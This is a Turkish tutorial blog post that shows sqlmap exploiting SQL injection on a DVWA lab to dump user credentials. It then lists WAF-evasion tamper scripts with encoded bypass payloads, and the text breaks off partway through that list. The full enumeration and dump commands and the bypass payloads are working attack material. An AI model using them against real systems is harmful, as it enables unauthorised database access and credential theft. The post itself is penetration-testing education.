Güvenlik

SQL Map ile SQL Injection

Bu teknik makalede, güvenlik ürünü arkasında çalışan ve Sql Injection açıklığını barındıran bir sistemin veritabanına Sqlmap ile nasıl sızılabileceğinden bahsedeceğiz.

 

Makaleye geçmeden önce bazı temel kavramların tanımı yapılacaktır.

 

SQL Nedir?

SQL (Structured Query Language), veritabanlarında data çekme, silme ve değiştirme gibi işlemler için kullanılan basit yapılı bir dildir. Bugün hemen hemen tüm web uygulamalarının altyapısında veritabanı desteği vardır ve bu web uygulamaları veritabanı ile SQL aracılığıyla anlaşırlar.

 

Bir siteye mesaj bıraktığınızda bu mesaj veritabanına kaydedilir. O mesaj onaylandığında veritabanındaki bir alan güncellenmiş olur. Yönetici, veritabanındaki kaydı silerek o mesajın siteden silinmesini sağlar.

 

Örnek bir kayıt silme SQL cümlesi şu şekilde olabilir:

DELETE FROM members WHERE id=17

 

Yukarıdaki komut, veritabanı tarafından çalıştırıldığında “members” tablosunda “id” alanı “17” olan kayıt silinecektir.

 

SQL Injection (SQLi) Nedir?

SQL Injection, veri odaklı uygulamalarda tabanda çalışan SQL dili özelliklerinden faydalanılarak standart uygulama ekranındaki ilgili alana ek SQL ifadelerini ekleyerek yapılan bir tür atak tekniğidir. SQL Injection, uygulama yazılımları içindeki güvenlik açığından faydalanır. Örneğin, uygulama üzerinde girilen kullanıcı verisine SQL ifadeleri gömülür ve bu veri içeriği uygulama içerisinde filtre edilmiyorsa beklenmedik bir şekilde uygulamanın hata vermeden çalıştığı görülür. Bu saldırı diğer saldırılardan farklı bir atak tipi olduğu için yazılım geliştiricilerin bu açıdan saldırı geleceğini düşünmesi oldukça güçtür. Çoğunlukla web siteleri için kullanılan bir saldırı türü olarak bilinse de SQL veritabanına ait tüm uygulamalar için denenebilir bir ataktır.

 

Web Application Firewall (WAF) Nedir?

Web Application Firewall (Web Uygulama Güvenlik Duvarı – WAF) olarak adlandırılan sistemler, karmaşıklaşan web trafiği üzerinde detaylı inceleme yaparak anormal trafiği engellemeye yarayan teknoloji olarak karşımıza çıkıyor. Kısacası HTTP/HTTPS/SOAP/XML-RPC/Web Servisleri üzerinde detaylı paket incelemesi yaparak zararlı istekleri bloklamak için kullanılan bir yazılım diyebiliriz.

 

Web sunucuya gelen gelen HTTP ve HTTPS isteklerini eleyerek çalışırlar. (Genelde) Hem POST hem de GET isteklerini her türlü ziyaretçinin trafiğini inceleyerek uygulanan kurallarca denetler. Web site adreslerini ya da URL’leri sıradışı davranışlara karşı izler, sürpriz bir kullanıcıyla karşılaşırsa Captcha’ya yönlendirir. Captcha doğrulaması geçildikten sonra işleme devam edilir. Eğer Captcha’ya yanlış cevap verilirse bot, robot, saldırgan olmamıza karşın o anki trafiğimizi bloklar. WAF, çeşitli şekillerde çalışmakta olup parsing, decoding, filtreleme gibi yöntemlerle faaliyet gösterir.

 

Sqlmap Nedir? Ve Temel Kullanımı

Sqlmap, Python ile geliştirilmiş otomatik SQLi yazılımıdır. Böylece SQLi tespit ettiğimiz veya şüphelendiğimiz bir linke exploiting işlemini Sqlmap aracıyla test edebiliriz.

 

Temel Kullanım Parametreleri:

 

Hedef Belirtme:

-u : URL

 

Hedefe nasıl bağlanılacağını belirtme:

–data : DATA POST ile gönderilen data string’i

threads : THREADS Eşzamanlı HTTP request’lerinin sayısı (varsayılan 1)

–cookie : Login gerektirdiği zamanlar kullanılır.

 

Injection özelleştirmesi:

-p : Test edilebilir parametre(ler)

–dbms : Hangi veritabanı tipi kullanıldığını belirtme

 

DBMS bilgilerini almak için:

–current-user : DBMS o anki kullanıcıları görmek

–current-db : DBMS o anki veritabanını görmek

–users : DBMS kullanıcılarını enumerate etmek

–passwords : DBMS kullanıcı parolalarının hash’lerini enumerate etmek

–dbs : DBMS veritabanlarını enumerate etmek

–tables : DBMS tablolarını enumerate etmek (opt: -D)

–columns : DBMS veritabanı tablolarının sütunlarını enumerate etmek

–dump : DBMS veritabanı girdilerini indirmek için

-D : DB Enumerate edilecek veritabanı

-T : TBL Enumerate edilecek tablo

C : COL Enumerate edilecek sütun

-U : USER Enumerate edilecek kullanıcı

 

 

clip_image002

Resim 1

 

 

 

clip_image004

Resim 2

 

 

http://192.168.52.133/dvwa/ hedef sisteminde SQLi olabileceğini düşündüğümüz bir alan bulduk. Haydi başlayalım…

 

SQLi tespit ettiğimiz linki Sqlmap’e verip açığı doğrulayarak veritabanı sunucusundaki veritabanlarını görmek için:

 

 

# sqlmap -u

 

“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” –dbs

 

clip_image006

Resim 3

 

 

clip_image008

Resim 4

 

“dvwa” isminde veritabanı keşfettik. Şimdi bu veritabanındaki tabloları çekiyoruz:

 

 

# sqlmap -u

 

“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa –tables

 

clip_image010

Resim 5

 

 

clip_image012

Resim 6

 

Muhtemelen “users” isimli tabloda hedef sistemin yönetimini sağlayan Admin’in kullanıcı bilgisi olduğunu düşünerek “users” tablosundaki kolonları çekiyoruz:

 

# sqlmap -u

 

“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa -T users –columns

clip_image014

Resim 7

 

 

clip_image016

Resim 8

 

Evet son aşamaya geldik. “user_id, user, password” kolonlarının içindeki verileri çekiyoruz:

 

# sqlmap -u

 

“http://192.168.52.133/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#” -p “id” –cookie “security=low; PHPSESSID=k1jfbcor5rhhnkkc6fk8apg0b2; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada” -D dvwa -T users -C user_id,user,password –dump

 

clip_image018

Resim 9

 

clip_image020

Resim 10

 

Sqlmap kullanarak kolayca SQLi açığı olan sistemi exploit ederek veritabanından Admin’in kullanıcı adı ve parolasına erişmiş olduk.

 

Peki, önünde WAF olan bir sisteme karşı sizce bu kadar kolay exploiting işlemi yapabilir miydik? Tabi ki hayır…

 

Nihayet, makalemizin easas konusu olan SQLi açığı olan ancak WAF/IDS/IPS gibi sistem kullananlara karşı Sqlmap ile nasıl bypass edebilirize gelmiş bulunuyoruz.

 

Öncesinde karşı tarafta WAF olup olmadığını öğrenmekte fayda var. Bunun için Sqlmap’in –identify-waf parametresi kullanılabilir:

 

# sqlmap -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1” –identify-waf

 

Biz bunun için wafw00f aracını kullanacağız. Kullanımı gayet basit:

 

# wafw00f www.hedef.com

 

 

clip_image022

Resim 11

 

 

Karşı tarafta IBM’in ürünü olduğunu öğrendik. Bu yaptğımız işlemin şöyle bir avantajı da vardır, keşfedilen ürünün daha önceden bulunmuş bir zafiyet içerebilir. Eğer bir zafiyet içeriyorsa ona göre yol haritamız şekillenecektir.

 

Hedefimizdeki sistemde WAF, IDS veya IPS olduğunu varsayarak Sqlmap ile bypass işlemlerimize başlıyoruz…

 

Görüldüğü gibi sistem bize geçit vermedi.

 

clip_image024

Resim 12

 

 Tamper Script Kullanımı

 

Tamper Script Nedir?

Kısaca, Sqlmap için hedef sisteme gönderilen sql payload’ları çeşitli algoritma ve encode teknikleri kullanarak güvenlik önlemlerini atlatmaya yarayan Python ile yazılmış yardımcı araçlardır.

 

Mysql sistemler için kullanılabilecek tamper scriptler:

between,bluecoat,charencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

 

Mssql sistemler için kullanılabilecek tamper scriptler:

between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

 

Genel olarak kullanabileceğiniz tamper scriptler:

apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

 

Bazı tamper scriptlerinin detaylarına aşağıdan ulaşabilirsiniz:

 

apostrophemask.py (UTF-8)

* Orijinal Hali: AND ‘1’=’1′

* Bypass Yöntemi:  AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

 

apostrophenullencode.py (unicode)

* Orijinal Hali: AND ‘1’=’1′

* Bypass Yöntemi:  AND %271%27=%271%27

 

appendnullbyte.py

* Orijinal Hali: AND 1=1

* Bypass Yöntemi:  AND 1=1

Platform:

* Microsoft Access

 

base64encode.py (base64)

* Orijinal Hali: 1′ AND SLEEP(5)#

* Bypass Yöntemi:  MScgQU5EIFNMRUVQKDUpIw==

 

between.py (“not between” “>”)

* Orijinal Hali: ‘A > B’

* Bypass Yöntemi:  ‘A NOT BETWEEN 0 AND B’

 

bluecoat.py (“like” “=”)

* Orijinal Hali: SELECT id FROM users where id = 1

* Bypass Yöntemi:  SELECT%09id FROM users where id LIKE 1

Platform:

* MySQL 5.1, SGOS

 

chardoubleencode.py

* Orijinal Hali: SELECT FIELD FROM%20TABLE

* Bypass Yöntemi:  %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

 

charencode.py

* Orijinal Hali: SELECT FIELD FROM%20TABLE

* Bypass Yöntemi:  %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

 

charunicodeencode.py

* Orijinal Hali: SELECT FIELD%20FROM TABLE

* Bypass Yöntemi:  %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Platform:

* ASP

* ASP.NET

 

equaltolike.py (“like” “=”)

* Orijinal Hali: SELECT * FROM users WHERE id=1

* Bypass Yöntemi:  SELECT * FROM users WHERE id LIKE 1

 

halfversionedmorekeywords.py

* Orijinal Hali: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa

* Bypass Yöntemi:  value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa

Platform:

* MySQL < 5.1 

 

ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)

* Orijinal Hali: IFNULL(1, 2)

* Bypass Yöntemi:  IF(ISNULL(1), 2, 1)

Platform:

* MySQL

* SQLite (possibly)

* SAP MaxDB (possibly)

 

modsecurityversioned.py

* Orijinal Hali: 1 AND 2>1–

* Bypass Yöntemi:  1 /*!30000AND 2>1*/–

Platform:

* MySQL

 

modsecurityzeroversioned.py (“0000”)

* Orijinal Hali: 1 AND 2>1–

* Bypass Yöntemi:  1 /*!00000AND 2>1*/–

Platform:

* MySQL

 

multiplespaces.py

* Orijinal Hali: UNION SELECT

İlgili Makaleler

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu